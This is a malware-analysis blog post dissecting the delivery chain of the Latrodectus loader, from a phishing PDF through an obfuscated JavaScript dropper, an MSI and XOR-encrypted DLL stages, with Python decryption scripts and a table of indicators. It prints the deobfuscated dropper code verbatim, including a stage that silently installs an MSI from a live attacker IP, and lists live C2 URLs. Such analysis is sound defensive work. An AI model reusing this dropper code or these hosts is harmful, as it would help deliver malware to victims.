Latrodectus - Unweaving the Web
The emergence of Latrodectus, a sophisticated loader malware, garnered significant attention in the cybersecurity community after being highlighted by Proofpoint. Their analysis revealed an alarming overlap in infrastructure with the notorious IcedID malware. Additionally, the blog provided insights into Latrodectus's initial delivery methods and functionality.
A loader malware, also known as a dropper, is a type of malicious software designed to deliver and execute additional malware payloads onto a victim's system. Its primary function is to establish an initial foothold on the compromised system by facilitating the download and installation of other malicious components.
Initially, there was a misconception regarding the malware mentioned in Joshua Platt and Jason Reaves's blog, which suggested it was IcedID. However, this was promptly corrected by researcher @Myrtus0x0 in a tweet, confirming that the malware in question was actually Latrodectus, not IcedID. This tweet, highlighting the above blog, was made in response to @RussianPanda9xx's blog for eSentire titled "DanaBot's Latest Move: Deploying IcedID," which was subsequently renamed "DanaBot's Latest Move: Deploying Latrodectus" after the clarification.
Several months later, ongoing observation reveals alterations in certain aspects of the malware's delivery and loading mechanism. Despite these developments, no corresponding blog or publication has yet addressed these changes or the mechanism thoroughly.
The purpose of this blog is to fill the existing gap by conducting a comprehensive analysis of the delivery scheme of the malware, extending from its initial stages to the execution of the final payload. Additionally, the blog aims to decrypt the malware configuration once the final payload is reached. It's important to note that this analysis will not cover the functionality of the malware, as it has already received significant coverage across various blogs and online sources, with minimal changes noted during this analysis.
Previous iterations of Latrodectus primarily utilized typical phishing lures, with emails containing a visible malicious link, as detailed in Proofpoint's blog. Upon user interaction with the link, a chain of execution would ensue, culminating in the deployment of the malware onto the victim's host.
The initial delivery methods of the malware observed this year have evolved to incorporate legal threats of alleged copyright infringement. Originating from threat actors who complete contact forms on the target company's website, these emails contain both a malicious link and legal threats. This evolution in delivery methods is also covered by Proofpoint's blog.
The most recent initial delivery chain of the Latrodectus malware, emphasized by researcher @Cryptolaemus1 in their recent tweet, will be the focal point of analysis in this blog.
Before delving into the analysis of the delivery chain, it's noteworthy that at the time of writing, only two blogs have provided partial insights into its intricacies of the initial delivery of the malware:
Matthew’s blog, which elucidates the deobfuscation process of the JavaScript file.
Proofpoint’s blog, offering theoretical explanations of the execution steps but lacking technical details regarding the execution chain.
Beginning the analysis, it is noted that the initial lure maintains consistency with prior descriptions. This method involves a phishing email containing a PDF file, often disguised as an invoice document.
Regrettably, due to the unavailability of publicly accessible data, we are unable to provide a copy of the email, as it is not accessible for reuse in the public domain.
Upon opening the PDF, the user encounters a counterfeit invoice obscured by a banner prompting the download of the document. This banner includes an embedded link to an external website.
Upon visiting the link, users are redirected to a Cloudflare captcha page. Upon successful completion of the captcha, the JavaScript (JS) file is downloaded to the user's system.
Upon examination of the JavaScript (JS) file, it becomes apparent that the code contains significant obfuscation in the form of redundant or meaningless comments.
Upon closer inspection of the code within the JavaScript (JS) file, certain sections are found to be uncommented. Leveraging this, we proceed to reconstruct the code.
To search for all occurrences of lines within the document, we can use the regular expression:
^(?!//).*
This expression matches any line that does not start with "//".
For reference, the contents of the malicious script are as follows:
var a = (function() { var b = new ActiveXObject("Scripting.FileSystemObject"), c = WScript.ScriptFullName, d = ""; function e() { if (!b.FileExists(c)) return; var f = b.OpenTextFile(c, 1); while (!f.AtEndOfStream) { var g = f.ReadLine(); if (g.slice(0, 4) === "////") d += g.substr(4) + "\n"; } f.Close(); } function h() { if (d !== "") { var i = new Function(d); i(); } } return { j: function() { try { e(); h(); } catch (k) {} } }; })(); a.j();
The above JavaScript code is designed to dynamically load and execute additional JavaScript code embedded within the same file. It initializes variables, including an instance of the FileSystemObject for file system operations and variables to store the current script's path and accumulated additional code. The script then defines functions to read the script file line by line and extract lines prefixed with four forward slashes, containing additional JavaScript code. Another function executes the accumulated code if it exists. Finally, the script returns an object with a method to trigger the execution process.
Given that the script specifically targets lines with four slashes, we can employ the following regular expression to extract these lines from the file:
^////.*
This expression matches any line that starts with "////".
For reference, the contents of the malicious script are as follows:
function installFromURL() { var installer; var msiPath; try { installer = new ActiveXObject("WindowsInstaller.Installer"); installer.UILevel = 2; msiPath = "http://146.19.106.236/neo.msi"; installer.InstallProduct(msiPath); } catch (e) { } } installFromURL();
The above JavaScript code defines a function called installFromURL(), which is intended to install a software package from a specified URL. Within this function, it attempts to create an instance of the Windows Installer COM object using the ActiveXObject constructor. If successful, it sets the user interface level to 2, indicating a reduced or silent installation mode. The variable msiPath is then assigned the URL pointing to the location of the software package to be installed. Finally, the InstallProduct() method of the Windows Installer object is invoked with the URL (msiPath) as the argument, initiating the installation process. However, in the event of any errors occurring during the installation process, the catch block remains empty, suggesting that no error handling or logging mechanisms are implemented.
For analysis purposes, the MSI file mentioned in the code has been manually downloaded.
Upon examining the MSI file in Orca or Advanced Installer and navigating to the Custom Actions parameter, we observe the command-line that will execute after the installation of the MSI file.
To view these files without installing the MSI, we can use 7-Zip to extract the relevant files and inspect them further.
We can proceed with extracting only the two mentioned files, as they were referenced in the LaunchFile property. Typically, the cabinet file contains the files that will be dropped by the MSI during installation, so the DLL file is expected to be within the .cab file.
Upon verifying the SHA-256 hash and examining the Binary.viewer.exe file in VirusTotal, it is evident that this file is associated with Advanced Installer and is also signed by Advanced Installer.
Binay.viewer.exe also known as viewer.exe is a component of Advanced Installer utilized in cases where custom actions are defined to execute pre-defined command lines.
For further analysis, we will not need to examine viewer.exe, as its role involves launching rundll32.exe with the malicious DLL file dropped by the installer and invoking the homi function within. Instead, we can directly analyze the homi export function within the DLL file to gain insight into the intended operation of the DLL file.
Upon opening the DLL file in Binary Ninja and navigating to the export function, the following code block is observed.
Initially, the function name of the function called within the homi function was generic; however, during analysis, it was determined that this function performs decryption. Consequently, it has been renamed to the decryption_function.
Below is the listing of the decryption_function as depicted by Binary Ninja.
In the above function, the var_28 location is initially populated with the highlighted decryption string. Subsequently, memory allocation occurs, followed by a loop that sets the value at the memory location from 00 to FF until 0x5f5e100 bytes. Following this, rdx is initialized to a value (currently unknown), while r10 is set to 2 and r9 is assigned a value from the data section of the binary.
The variable i_2 is set to 0x190, and a decryption routine is executed 0x190 times. During each iteration, r9 is incremented by 5, and the values at r9-6 (highlighted as 2d on the right) are XORed with the characters of the decryption string stored in var_28.
Upon completing the decryption process, the rdx value is used to generate the start address of the decrypted function (highlighted as 2d on the right), which is subsequently called with the argument 0x1800ac0e8.
Effectively, during the entire execution of the decryption loop, a total of 0x190 * 5 bytes are XORed, as each iteration of the decryption routine XORs 5 bytes.
Manually performing this operation using CyberChef, the decrypted shellcode that would be executed, is generated and saved as loader.bin for further analysis.
Before proceeding with the analysis of the loader, it is crucial to comprehend the argument of the function. The argument value corresponds to a section of data located in the .rsrc section of the binary.
The loader is tasked with iterating through the Process Environment Block (PEB), resolving Windows API functions such as VirtualAlloc, LoadLibraryA, and GetProcAddress. It then calls VirtualAlloc to allocate memory. Subsequently, it utilizes the XOR key — the same one previously listed — to XOR the data at the program location argument, which corresponds to the location of the data in the .rsrc section previously displayed. This XOR operation is performed for 0x11400 bytes, resulting in the creation of a PE file in memory. The remainder of the loader shellcode focuses on mapping the resultant PE file in memory and executing it.
I have written a Python program to replicate this process without utilizing the loader.bin binary. Instead, it directly dumps the resulting binary mentioned in the above process from the initially launched DLL file. The code is as follows:
import re def xor_bytes(bytes1, bytes2): return bytes(a ^ b for a, b in zip(bytes1, bytes2)) def main(): # Define the key key = bytes.fromhex("65 64 6d 4f 42 74 69 75 64 66 29 4f 5a 6f 24 4c 42 2b 00") # Read the entire file with open("mbaeapina.dll", "rb") as file: data = file.read() # Find the program section start program_section_start = bytes.fromhex("283EFD4F417469756066294FA59024") program_index = data.find(program_section_start) if program_index != -1: # Extract the program section program_section = data[program_index: program_index + 0x11400] # Read every byte program_section = program_section[::1] print("Program Section Length:", len(program_section)) # Repeat the key to match the length of the program section repeated_key = (key * (len(program_section) // len(key) + 1))[:len(program_section)] # Perform XOR operation output = xor_bytes(program_section, repeated_key) # Write the output to "decrypted_payload.bin" with open("latro_dumped.bin", "wb") as output_file: output_file.write(output) else: print("Program section not found in the file.") if __name__ == "__main__": main()
The above Python code is responsible for identifying the location in the .rsrc section of the DLL file where the final PE file is crafted from. It XORs this data with the specified key and generates the final output binary.
The resulting output file is saved as latro_dumped.bin for further analysis.
Upon opening this file in Binary Ninja, it is observed that the _start function invokes two functions. The first function is responsible for loading the DLL file into memory from a data location, while the second function is responsible for executing it using the export function scub. It is worth mentioning that these functions have been renamed after analysis and originally had generic names.
Upon copying this binary and dumping it separately into a .bin file, we obtain latro_dumped_1.bin.
Upon opening this new file in Binary Ninja, we are unable to locate the export function scub.
Upon examination of the file in PE-Bear, it becomes apparent that the file contains multiple export function definitions, all sharing the same function RVA but having different name RVAs. This indicates that the names are located in different locations, while they all share the same function address.
Searching for the function extra under symbols, we observe that it is listed in Binary Ninja.
This binary represents the final Latrodectus binary, and therefore, we will not conduct any further analysis as it has already been covered by multiple articles. However, we will examine the string decryption function.
The function is tasked with XORing each byte from the 6th position onward at the memory location with a corresponding value to generate the decrypted strings. Specifically, it XORs byte 6 with 0x7F, byte 7 with 0x80, byte 8 with 0x81, and so forth. Notably, in all instances, the 6th byte consistently commences after byte 0xD0 in the data section.
I've developed the following Python program to statically decrypt the strings from the binary. The code is as follows:
def decrypt_byte_string(byte_string): decrypted_string = b'' for i, byte in enumerate(byte_string): decrypted_byte = byte ^ (0x7f + i) % 256 decrypted_string += bytes([decrypted_byte]) try: decoded_string = decrypted_string.decode('utf-8', errors='ignore') except UnicodeDecodeError: decoded_string = decrypted_string.decode('utf-16', errors='ignore').encode('utf-8', errors='ignore').decode('utf-8', errors='ignore') return decoded_string.replace('\x00', '') def main(): offset = 0xCE00 length = 0x1600 with open('latro_dumped.bin', 'rb') as f: f.seek(offset) binary_data = f.read(length) byte_strings = [] current_byte_string = b'' recording = False for byte in binary_data: if byte == 0xD0: recording = True current_byte_string = b'' elif byte == 0x00 and recording: recording = False if current_byte_string: byte_strings.append(current_byte_string) elif recording: current_byte_string += bytes([byte]) with open('decrypted_strings.txt', 'w', encoding='utf-8', errors='ignore') as f: for byte_string in byte_strings: decrypted_string = decrypt_byte_string(byte_string) f.write(decrypted_string + '\n') if __name__ == "__main__": main()
The above code executes the same process as outlined in the simplified explanation provided for the string decryption function above.
Below are the decrypted strings generated by executing the above Python code.
This concludes my analysis of the Latrodectus malware.
IOCs
The indicators mentioned here are based on the analysis conducted by me and do not include any externally referenced indicators.
Name | IOC | Type |
---|---|---|
04-25-Inv-Doc-339.pdf | ce4372ea002fca274c16b40792e074e3 | MD5 |
Document_a51_19i793302-14b09981a5569-3684u8.js | b5c04c9ce0a3da2e16e97632e13b5e28 | MD5 |
neo.msi | 3703f47cfa7ce06c14374f173c68daf0 | MD5 |
Cleaned JS Script 1 | aba421e140aed4d89e49056f40a4decd | MD5 |
Cleaned JS Script 2 | 0a98a46c18b91a2af8b17719772002ce | MD5 |
mbaeapina.dll | f46e75eb89214e2fbb850b9d29b9f515 | MD5 |
loader.bin (Decrypted Shellcode) | afc0008dfc3340d4bd4e8eb530078ffe | MD5 |
latro_dumped.bin (Decrypted DLL Loader) | d32db5208d83134ba5c8d6b8c8289aeb | MD5 |
latro_dumped_1.bin (Decrypted Latrodectus Binary) | be952f54796fc84f2c9275fee416fc4f | MD5 |
PDF Redirect URL | https://stgmountainair.wpengine.com/wp-content/plugins/user-private-files/shared/ | URL |
MSI Download URL | http://146.19.106.236/neo.msi | URL |
C2 | https://titnovacrion.top/live/ | URL |
C2 | https://skinnyjeanso.com/live/ | URL |